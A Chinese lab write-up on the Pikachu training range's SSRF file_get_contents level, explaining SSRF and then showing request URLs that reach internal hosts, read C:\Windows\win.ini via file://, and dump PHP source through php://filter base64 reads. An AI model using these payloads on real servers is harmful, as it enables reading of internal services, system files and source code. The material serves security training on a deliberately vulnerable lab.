目录

一、SSRF

1、简介

2、原理

二、file_get_contents函数

1、功能

2、参数

3、返回值

4、file_get_contents与SSRF

三、渗透实战

1、基本探测

2、http协议

(1)访问upload-labs靶场

(2)访问yijuhua.txt

3、file协议

4、php://filter伪协议

(1)ssrf.php

(2)rce.php


本系列为通过《pikachu靶场通关笔记》的SSRF关卡(共2关)渗透集合,通过对SSRF关卡源码的代码审计找到SSRF安全风险的真实原因,讲解SSRF原理并进行渗透实践,本文为SSRF关卡02-file_get_contents关卡的渗透部分。

一、SSRF

1、简介

SSRF 即服务器端请求伪造,是一种常见的网络安全风险。它主要是由于服务器端在处理用户请求时,没有对目标地址进行严格的过滤和验证,导致攻击者可以构造恶意请求,让服务器以自身的身份去访问其他内部或外部资源。

2、原理

利用 SSRF安全风险,攻击者能够通过伪造请求,绕过防火墙等安全限制,对内网的服务器进行访问和攻击,获取敏感信息,如数据库内容、用户账号密码等,还可能进行端口扫描,探测内网结构和服务分布,甚至利用SSRF风险发起进一步的攻击,如攻击其他应用程序或执行命令等,给企业和用户带来严重的安全威胁,造成数据泄露、系统瘫痪等后果。因此,及时发现和修复 SSRF安全风险对于保障网络安全至关重要。

SSRF(服务器端请求伪造)攻击流程如下:

  • 攻击者向存在SSRF风险的服务器A发送恶意请求,包含指向内网主机B的地址(步骤1)。
  • 服务器A未验证请求目标,直接作为代理向主机B发起请求(步骤2)。
  • 主机B响应请求后(步骤3),服务器A将敏感数据返回给攻击者(步骤4)。

该安全风险绕过了网络隔离限制,使攻击者能够间接访问原本不可达的内网资源(如数据库、文件系统或云元数据),形成安全威胁。示意图通过颜色区分角色,箭头明确数据流向,虚线框突出安全边界突破。 

二、file_get_contents函数

file_get_contents() 是 PHP 中的一个内置函数,其主要功能是把整个文件读入到一个字符串中。

file_get_contents(string $filename, bool $use_include_path = false, ?resource $context = null, int $offset = 0, ?int $length = null): string|false

1、功能

  • file_get_contents() 函数可以读取本地文件系统中的文件内容,也能通过 HTTP、FTP 等协议读取远程文件内容。这使得它在处理本地配置文件、获取远程 API 数据等场景下非常实用。

2、参数

  • $filename:必选参数,它可以是本地文件的路径,也可以是远程文件的 URL。
  • $use_include_path:可选参数,布尔类型,默认值为 false。若设置为 true,PHP 会在 include_path 中查找文件。
  • $context:可选参数,是一个上下文资源,可用于修改 HTTP 请求头、设置超时时间等。
  • $offset:可选参数,整数类型,指定从文件的哪个位置开始读取。
  • $length:可选参数,整数类型,指定要读取的字节数。

3、返回值

  • 若读取成功,函数会返回文件内容的字符串。
  • 若读取失败,则返回 false

4、file_get_contents与SSRF

file_get_contents 函数是 PHP 中用于将整个文件读入到一个字符串中的函数,它本身是一个实用的工具,但在使用不当时可能会导致 SSRF(服务器端请求伪造)。file_get_contents 函数不仅可以读取本地文件,还支持通过 URL 读取远程文件,这就为攻击者提供了可乘之机。如果在使用该函数时,没有对用户输入的 URL 进行严格的验证和过滤,攻击者就可以构造恶意的 URL,让服务器去访问内部网络中的资源。

三、渗透实战

1、基本探测

访问pikachu靶场SSRF关卡的file_get_contents关卡,完整的URL如下所示。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php 

点击链接“反正都读了,那就来一首吧(哈哈,错别字)”,如下所示新链接中为file 后跟着个 file并以 http 协议去访问本地的 info2.php 文件,其中file为可控参数。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

其中info2.php,具体文件内容如下所示,如上图所示完全展示其内容。

2、http协议

(1)访问upload-labs靶场

本次计划通过 file= http://127.0.0.1/upload-labs/ 访问同一内网的upload-labs靶场,通过SSRF安全风险来访问,URL如下所示。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/upload-labs/

如下所示,成功访问到同一内网中的upload-labs靶场渗透成功。 

(2)访问yijuhua.txt

如下图所示,通过SSRF链接成功访问到yijuhua.txt文档。 

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/test/yijuhua.txt

3、file协议

修改url为:url= file:///C:\Windows\win.ini,查看文件的内容。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///C:\Windows\win.ini

如下图所示,通过SSRF链接成功访问到C:\Windows\win.ini文档。  

4、php://filter伪协议

(1)ssrf.php

使用php://filter协议可以获取代码源码,修改url为: ? file=php://filter/read=convert.base64-encode/resource=ssrf.php,具体如下所示。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

base64编码后的源码复制粘贴到hackbar中,选中并选择encoding-base64 decode,如下所示。

解码后如下所示,如下内容即为真实源码。

(2)rce.php

接下来通过php://filter协议可以获取代码rce.php源码,如下所示即为base64加密后的源码。

http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../rce/rce.php

base64解密后的源码如下所示,渗透成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/911816.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/911816.shtml
英文地址,请注明出处:http://en.pswp.cn/news/911816.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android 控件 - EditText 的 Hint(Hint 基本用法、Hint 进阶用法、单独设置 Hint 的大小)

一、EditText 的 Hint 1、基本介绍 在 Android 开发中,EditText 的 Hint 用于显示提示文本 提示文本当用户没有输入任何内容时显示,输入内容后自动消失 2、基本使用 (1)在 XML 布局文件中设置 在 XML 布局文件中设置 Hint …

PostgreSQL(知识片):索引关联度indexCorrelation

索引关联度的绝对值越大,说明这个索引数据越好。绝对值最大为1。 首先我们创建一个表:tbl_corr,包含列:col、col_asc、col_desc、col_rand、data,col_asc存储顺序数据,col_desc存储降序数据,col…

React纯函数和hooks原理

纯函数 JS 若满足其下条件 ,被称为纯函数 1。确定的输入一定产生确定的输出 2 不产生副作用 另外redux中的reducer也要求是纯函数 Fiber 架构和hooks原理 useRef 在组件的整个声明周期内保持不变 用法:1绑定dom元素 或者 绑定一个类组件 因为函数式…

养老专业实训室虚拟仿真建设方案:助力人才培养与教育教学革新

随着我国老龄化程度加深,养老服务行业人才需求激增。养老专业实训室虚拟仿真建设方案凭借虚拟仿真技术,为养老专业教育教学带来革新,对人才培养意义重大。点击获取实训室建设方案 一、构建多元化虚拟场景,丰富实践教学内容 模拟居…

LangChain 提示词工程:语法结构详解与完整实战指南

LangChain 提示词工程:语法结构详解与完整实战指南 我将为您系统性地解析 LangChain 中各类提示模板的核心语法结构,通过清晰展示语法与对应代码示例,帮助您彻底掌握提示工程的实现方法。所有示例均围绕报幕词生成场景展开。 在这里插入图片…

20250625解决在Ubuntu20.04.6LTS下编译RK3588的Android14出现cfg80211.ko的overriding问题

Z:\14TB\versions\rk3588-android14-FriendlyElec\mkcombinedroot\res\vendor_modules.load 【拿掉/删除这一项目!】 cfg80211.ko 20250625解决在Ubuntu20.04.6LTS下编译RK3588的Android14出现cfg80211.ko的overriding问题 2025/6/25 20:20 缘起:本文针对…

在WSL下搭建JavaWeb: JDBC学习环境

在WSL下搭建JavaWeb: JDBC学习环境 前言 ​ 笔者最近打算放松一下,接触一点经典的Java Web技术,自己在闲暇时间时玩一玩JavaWeb技术。这里开一个小系列整理一下最近学习的东西,以供参考和学习。 ​ 笔者的计划是使用VSCode写代码&#xff…

pscc系统如何部署,怎么更安全更便捷?

磐石云PSCC系统的安全高效部署需结合云原生架构与零信任安全模型,以下是经过大型项目验证的部署方案及最佳实践: 一、智能部署架构(混合云模式) 二、安全增强部署方案 1. 基础设施安全 网络隔离 采用 三层网络分区:互…

协程驱动的高性能异步 HTTP 服务器:基础实现与任务调度机制

一、引言:为什么用协程实现 HTTP 服务器? 传统 HTTP 服务器的编程模型大致分为: 多线程阻塞型:每连接一线程,简洁但扩展性差 事件驱动模型(如 epoll 状态机):高性能但逻辑复杂 回…

《视频:点亮数字时代的光影魔方》

视频的前世今生:从诞生到爆火 视频的发展历程是一部充满创新与变革的历史,它见证了科技的飞速进步和人类对信息传播与娱乐方式不断追求的过程。从早期的雏形到如今的全面普及,视频经历了多个重要阶段,每一个阶段都伴随着关键节点与…

秋招Day14 - MySQL - 运维

百万级别以上的数据如何删除? 这么大量的DELETE操作可能会导致长时间锁表 可以进行批量删除,把要删除的数据分为多个小批次处理。 也可以采用创建新表,把不需要删除的数据迁移过来,然后废弃旧表。需要检查新表空间是否足够、分…

(C++)vector数组相关基础用法(C++教程)(STL库基础教程)

源代码&#xff1a; #include <iostream> #include <vector> #include <string> using namespace std;int main(){char a;int b;int c;vector <char> numbers;cout<<"请输入一组字符&#xff08;按下#结束&#xff09;:\n";while(1){…

面试的问题

主题&#xff1a;LLM相关、多模态相关、python编程、java编程 参见&#xff1a;小红书面试相关的帖子 LLM相关&#xff1a; 02.大语言模型架构/1.attention/1.attention.md qzl66/llm_interview_note - Gitee.com 02.大语言模型架构/Transformer架构细节/Transformer架构细…

【EDA软件】【应用功能子模块网表提供和加载编译方法】

1.背景 使用者做FPGA应用开发&#xff0c;将开发成果交给自己的客户&#xff0c;但是并不想提供RTL源码以及加密的源码&#xff0c;只想提供网表文件。 2.方法 2.1 指定应用功能子模块设置为Top层&#xff1b; 2.2 运行综合&#xff0c;在outputs文件夹下会生成该应用功能子…

Spring:多数据源配置多个事务管理器DEMO

Spring配置文件&#xff1a; 配置2个事务管理器&#xff1a;txManager和txManager2 <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"http://www.w3.org/2001/XMLS…

通用 Excel 导出功能设计与实现:动态列选择与灵活配置

在企业级应用开发中&#xff0c;数据导出是高频需求。本文介绍一种支持动态列选择、灵活配置的通用 Excel 导出方案&#xff0c;通过前后端协同设计&#xff0c;实现导出字段、列顺序、数据格式的自定义&#xff0c;满足多样化业务场景。 一、功能架构设计 核心特性 动态字段…

安全壁垒 - K8s 的 RBAC、NetworkPolicy 与 SecurityContext 精要

安全壁垒 - K8s 的 RBAC、NetworkPolicy 与 SecurityContext 精要 如果说 Kubernetes 是我们构建云原生应用的“城市”,那么我们已经学会了如何规划道路(网络)、建设住宅(Pod 调度)、提供水电(存储)以及智能调节城市规模(自动伸缩)。现在,是时候为这座城市安装“城门…

服务器开放端口如何设置,本地内网开通应用端口让外网访问连接步骤

在互联网时代&#xff0c;服务器扮演着至关重要的角色&#xff0c;为了让本地搭建部署的服务器能够正常提供互联网服务&#xff0c;我们需要开放特定端口以供外部网络的客户端访问&#xff0c;本文将带领大家深入了解内网本地服务器如何设置端口开放给公网访问。 服务器开放端…

【深度学习新浪潮】什么是上下文工程?

什么是上下文工程? 上下文工程(Context Engineering) 是指通过设计、优化与大语言模型(LLM)交互时的输入内容(即“上下文”),引导模型生成更符合预期、更精准回答的系统性方法。这里的“上下文”通常包括 提示词(Prompt)、示例(Few-Shot Examples)、历史对话记录、…

Ansible ad-hoc模式常用三大模块“script、shell、command“应用笔记

script模块 - 外卖厨师 相当于你把做好的菜谱&#xff08;脚本文件&#xff09;分发给别人厨房执行 适合场景&#xff1a; ✓ 需要复杂菜谱&#xff08;多步骤脚本&#xff09; ✓ 保证每家分店味道一致&#xff08;环境标准化&#xff09; 示例&#xff1a;把《红烧肉制作指…